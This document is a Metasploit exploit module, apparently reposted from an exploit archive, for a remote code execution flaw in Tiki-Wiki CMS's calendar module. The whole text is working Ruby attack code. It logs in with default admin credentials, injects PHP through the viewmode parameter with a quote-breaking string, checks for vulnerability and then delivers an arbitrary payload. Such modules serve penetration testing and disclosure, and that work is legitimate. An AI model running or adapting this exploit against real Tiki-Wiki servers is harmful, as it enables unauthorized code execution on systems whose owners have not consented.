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Tiki-Wiki CMS Calendar Command Execution

Posted on 23 June 2016

##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Tiki-Wiki CMS Calendar Command Execution',
'Description' => %q(
Tiki-Wiki CMS's calendar module contains a remote code execution
vulnerability within the viewmode GET parameter.
The calendar module is NOT enabled by default. If enabled,
the default permissions are set to NOT allow anonymous users
to access.

Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14
Verified/Tested against 14.1
),
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # module
'Dany Ouellet' # discovery
],
'References' =>
[
[ 'EDB', '39965' ],
[ 'URL', 'https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki']
],
'License' => MSF_LICENSE,
'Platform' => %w( php ),
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 06 2016'
)
)

register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of Tiki-Wiki', '/']),
OptString.new('USERNAME', [ false, 'Username of a user with calendar access', 'admin']),
OptString.new('PASSWORD', [ false, 'Password of a user with calendar access', 'admin'])
], self.class
)
end

# returns cookie regardless of outcome
def authenticate
begin
# get a cookie to start with
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'tiki-login_scr.php'),
'method' => 'GET'
)
cookie = res ? res.get_cookies : ''
# if we have creds, login with them
vprint_status('Attempting Login')
# the bang on the cgi will follow the redirect we receive on a good login
res = send_request_cgi!(
'uri' => normalize_uri(target_uri.path, 'tiki-login.php'),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_post' =>
{
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'login' => '',
'stay_in_ssl_mode_present' => 'y',
'stay_in_ssl_mode' => 'n'
}
)
# double check auth worked and we got a Log out on the page.
# at times I got it to auth, but then it would give permission errors
# so we want to try to double check everything is good
if res && !res.body =~ /Log out/
fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
end
vprint_good("Login Successful!")
return cookie
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end

# sends the calendar packet, returns the HTTP response
def send_calendar_packet(cookie, data)
begin
return send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'tiki-calendar.php'),
'method' => 'GET',
'cookie' => cookie,
'vars_get' =>
{
'viewmode' => "';#{data};$a='"
}
)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end

# Version numbers are post auth, so we send a print statement w/
# 10 random characters and check for it in the response
def check
if datastore['USERNAME'] && !datastore['USERNAME'].blank?
cookie = authenticate
end

flag = Rex::Text.rand_text_alpha(10)
res = send_calendar_packet(cookie, "print(#{flag})")

if res
if res.body =~ /You do not have permission to view the calendar/i
fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
elsif res.body =~ />#{flag}</
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
end

def exploit
if datastore['USERNAME'] && !datastore['USERNAME'].blank?
cookie = authenticate
end

vprint_status('Sending malicious calendar view packet')
res = send_calendar_packet(cookie, payload.encoded)
if res && res.body =~ /You do not have permission to view the calendar/i
fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
end
end

end

 

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